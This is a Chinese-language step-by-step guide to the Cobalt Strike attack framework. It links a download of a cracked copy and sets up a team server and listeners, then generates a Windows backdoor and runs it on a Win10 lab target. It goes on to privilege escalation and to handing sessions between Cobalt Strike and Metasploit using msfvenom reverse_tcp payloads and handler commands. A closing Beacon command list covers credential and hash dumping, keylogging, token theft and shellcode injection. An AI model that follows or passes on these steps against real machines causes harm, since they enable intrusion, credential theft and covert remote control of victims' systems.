Cobalt Strike使用指南
总体流程分为以下几步
创建团队服务器->客户端连接服务器->创建监听器->生成后门对应监听器->靶机运行后门成功上线->后渗透(提权,内网漫游,域渗透等)
1 创建团队服务器
下载CS4.0破解版
https://pan.baidu.com/s/1Ah-H0Eelvm8PmVZ0_Jvz6w 提取码:up2s
放入kali(MSF主机kali ip地址为162.168.1.17 ) 解压后放在桌面上
在文件内启动teamserver 加上自己的ip与连接密码
服务端就运行完成了,不用关闭。
2 客户端连接服务器
打开windows,运行start .bat
出现如图窗口,HOST写刚才kali的ip地址,密码写刚才自己设置的,Port不动,User可以自己写。
点击连接后会进入一个图像化的界面
3创建监听器
点击listen
4生成后门对应监听器
点击Add 会出现一个新的窗口
然后找到工具栏里的Attacks
这里演示一个Windows Exeutable
将脚本文件放在桌面上
这里开启一个win10的靶机(靶机ip为192.168.1.25) 关闭防火墙,然后将脚本文件放入靶机
5靶机运行后门成功上线
双击启动脚本文件,可以发现,CS窗口成功出现靶机
之后右键目标,选择interact,进入命令行模式(CS的命令行,并非是靶机cmd命令行)
尝试功能getuid
可以发现成功获取到了uid
6后渗透
尝试提权
选择access中的elevate选项
之后按确定,便会尝试开始攻击
我们可以下载更多的脚本来尝试提权
这是下载完成的一个提权插件
点击任务栏中的script manager
选择插件脚本文件
之后点击unload上传
上传完成后重新打开提权选项
就出现了更多的提权脚本。
CS和MSF联合
1 CS转MSF
首先在kali上启动MSF
MSF要运用到windows/meterpreter/reverse_http这个模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.1.17 (是kali本地的ip)
set lport 1234(本地监听的端口)
设置完之后执行exploit
开始监听本地1234端口
然后回到CS框架,点击监听器,选择添加
添加完成后,右键靶机选择spawn
选择刚才新创建的MSF监听器
观察MSF是否检测到
成功监听到了靶机,运行sysinfo和shell观察结果
成功执行。
2 MSF转CS
首先利用msf生成一个后门去控制win10
sfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.17 lport=2222 -f exe -o test2.exe
(注意这里后门脚本用走的是tcp,之后可以转http)
监听自己的2222端口,然后把生成的exe放入win10靶机
然后开启msf,监听自己的2222端口
之后在win10靶机上运行后门脚本文件
MSF成功监听到了靶机,这里记一下这个会话session的id是1。
之后在CS窗口重新创建一个监听器。
MSF窗口这边先background返回,然后设置windows/meterpreter/reverse_http模块的参数
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
之后exploit执行,观察CS窗口
我们可以发现msf2监听器成功监听到了靶机。
MSF监听的会话成功转到了CS上。
PS:常用指令
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗